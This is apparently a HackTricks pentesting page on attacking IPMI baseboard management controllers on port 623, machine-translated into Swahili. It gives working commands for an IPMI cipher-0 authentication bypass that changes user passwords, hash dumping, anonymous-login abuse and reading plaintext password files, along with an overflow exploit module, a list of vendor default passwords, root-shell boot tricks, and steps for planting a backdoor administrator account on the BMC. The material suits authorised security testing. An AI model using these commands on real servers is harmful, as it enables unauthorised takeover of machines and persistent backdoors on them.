623/UDP/TCP - IPMI

Reading time: 7 minutes

623/UDP/TCP - IPMI

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

Muhtasari wa IPMI

Intelligent Platform Management Interface (IPMI) inatoa njia iliyoandikwa kwa usimamizi na ufuatiliaji wa mbali wa mifumo ya kompyuta, bila kujali mfumo wa uendeshaji au hali ya nguvu. Teknolojia hii inawawezesha wasimamizi wa mifumo kusimamia mifumo kwa mbali, hata wakati zimezimwa au hazijibu, na ni muhimu hasa kwa:

  • Mipangilio ya awali ya OS
  • Usimamizi wa kuzima nguvu
  • Kupona kutoka kwa kushindwa kwa mfumo

IPMI ina uwezo wa kufuatilia joto, voltages, kasi za mashabiki, na vyanzo vya nguvu, pamoja na kutoa taarifa za hesabu, kupitia kumbukumbu za vifaa, na kutuma arifa kupitia SNMP. Muhimu kwa uendeshaji wake ni chanzo cha nguvu na muunganisho wa LAN.

Tangu ilipoanzishwa na Intel mwaka 1998, IPMI imeungwa mkono na wauzaji wengi, ikiongeza uwezo wa usimamizi wa mbali, hasa na msaada wa toleo la 2.0 kwa serial juu ya LAN. Vipengele muhimu ni pamoja na:

  • Baseboard Management Controller (BMC): Kichakataji kikuu cha micro kwa shughuli za IPMI.
  • Mabasi ya Mawasiliano na Interfaces: Kwa mawasiliano ya ndani na nje, ikiwa ni pamoja na ICMB, IPMB, na interfaces mbalimbali za muunganisho wa ndani na mtandao.
  • IPMI Memory: Kwa kuhifadhi kumbukumbu na data.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Bandari ya Kawaida: 623/UDP/TCP (Kawaida iko kwenye UDP lakini inaweza pia kuwa inafanya kazi kwenye TCP)

Enumeration

Ugunduzi

bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Unaweza kubaini toleo kwa kutumia:

bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

Katika eneo la IPMI 2.0, kasoro kubwa ya usalama iligunduliwa na Dan Farmer, ikifunua udhaifu kupitia cipher type 0. Udhaifu huu, ulioandikwa kwa undani katika Dan Farmer's research, unaruhusu ufikiaji usioidhinishwa kwa kutumia nenosiri lolote ikiwa mtumiaji halali anashambuliwa. Udhihirisho huu ulipatikana katika BMC mbalimbali kutoka kwa watengenezaji kama HP, Dell, na Supermicro, ukionyesha tatizo lililoenea katika utekelezaji wote wa IPMI 2.0.

IPMI Authentication Bypass via Cipher 0

Ili kugundua kasoro hii, skana ya ziada ya Metasploit ifuatayo inaweza kutumika:

bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero

Kuvunja kwa kasoro hii kunaweza kufanywa kwa kutumia ipmitool, kama inavyoonyeshwa hapa chini, ikiruhusu orodha na mabadiliko ya nywila za watumiaji:

bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Uthibitisho wa Ujumbe wa Mbali wa Nywila ya Hash

Ukiukaji huu unaruhusu kupata nywila za hash zilizotiwa chumvi (MD5 na SHA1) kwa jina lolote lililopo. Ili kujaribu ukiukaji huu, Metasploit inatoa moduli:

bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI Anonymous Authentication

Mipangilio ya default katika BMC nyingi inaruhusu ufikiaji wa "anonymous", unaojulikana kwa nywila na jina la mtumiaji zisizo na thamani. Mipangilio hii inaweza kutumika kubadilisha nywila za akaunti za watumiaji waliopewa jina kwa kutumia ipmitool:

bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Nywila za Maandishi Safi

Chaguo muhimu katika muundo wa IPMI 2.0 kinahitaji uhifadhi wa nywila za maandiko safi ndani ya BMCs kwa ajili ya madhumuni ya uthibitishaji. Uhifadhi wa nywila hizi na Supermicro katika maeneo kama /nv/PSBlock au /nv/PSStore kunaibua wasiwasi mkubwa wa usalama:

bash
cat /nv/PSBlock

Supermicro IPMI UPnP Uthibitisho wa Uthibitisho

Kuongezwa kwa msikilizaji wa UPnP SSDP katika firmware ya IPMI ya Supermicro, hasa kwenye bandari ya UDP 1900, kunaingiza hatari kubwa ya usalama. Uthibitisho katika Intel SDK kwa ajili ya vifaa vya UPnP toleo 1.3.1, kama ilivyoelezwa na kufichuliwa kwa Rapid7, kunaruhusu ufikiaji wa mizizi kwa BMC:

bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP inabadilisha nenosiri la kawaida kwa bidhaa yake ya Integrated Lights Out (iLO) wakati wa utengenezaji. Praktiki hii inapingana na wazalishaji wengine, ambao huwa wanatumia akili za kawaida za statiki. Muhtasari wa majina ya watumiaji na nenosiri za kawaida kwa bidhaa mbalimbali unapatikana kama ifuatavyo:

  • HP Integrated Lights Out (iLO) inatumia mfuatano wa herufi 8 ulioandaliwa kiwandani kama nenosiri lake la kawaida, ikionyesha kiwango cha juu cha usalama.
  • Bidhaa kama iDRAC ya Dell, IMM ya IBM, na Meneja wa K remote wa Fujitsu zinatumia nenosiri rahisi kubashiri kama "calvin", "PASSW0RD" (ikiwa na sifuri), na "admin" mtawalia.
  • Vivyo hivyo, Supermicro IPMI (2.0), Oracle/Sun ILOM, na ASUS iKVM BMC pia zinatumia akili za kawaida rahisi, huku "ADMIN", "changeme", na "admin" zikihudumu kama nenosiri zao.

Accessing the Host via BMC

Upatikanaji wa kiutawala kwa Baseboard Management Controller (BMC) unafungua njia mbalimbali za kufikia mfumo wa uendeshaji wa mwenyeji. Njia rahisi ni kutumia kazi za KVM za BMC. Hii inaweza kufanywa kwa kuanzisha upya mwenyeji hadi kwenye shell ya root kupitia GRUB (ukitumia init=/bin/sh) au kuanzisha kutoka kwa CD-ROM ya virtual iliyowekwa kama diski ya kuokoa. Njia hizi zinaruhusu kudhibiti moja kwa moja diski ya mwenyeji, ikiwa ni pamoja na kuingiza backdoors, kutoa data, au hatua zozote zinazohitajika kwa tathmini ya usalama. Hata hivyo, hii inahitaji kuanzisha upya mwenyeji, ambayo ni hasara kubwa. Bila kuanzisha upya, kufikia mwenyeji anayekimbia ni ngumu zaidi na inategemea usanidi wa mwenyeji. Ikiwa console ya kimwili au serial ya mwenyeji inaendelea kuingia, inaweza kuchukuliwa kwa urahisi kupitia kazi za KVM za BMC au serial-over-LAN (sol) kupitia ipmitool. Kuchunguza matumizi ya rasilimali za vifaa vilivyoshirikiwa, kama vile i2c bus na chip ya Super I/O, ni eneo linalohitaji uchunguzi zaidi.

Introducing Backdoors into BMC from the Host

Baada ya kuathiri mwenyeji aliye na BMC, kiolesura cha BMC cha ndani kinaweza kutumika kuingiza akaunti ya mtumiaji ya backdoor, kuunda uwepo wa kudumu kwenye seva. Shambulio hili linahitaji uwepo wa ipmitool kwenye mwenyeji aliyeathiriwa na kuwezesha msaada wa dereva wa BMC. Amri zifuatazo zinaonyesha jinsi akaunti mpya ya mtumiaji inaweza kuingizwa kwenye BMC kwa kutumia kiolesura cha ndani cha mwenyeji, ambacho kinapita hitaji la uthibitisho. Mbinu hii inatumika kwa mifumo mbalimbali ya uendeshaji ikiwa ni pamoja na Linux, Windows, BSD, na hata DOS.

bash
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks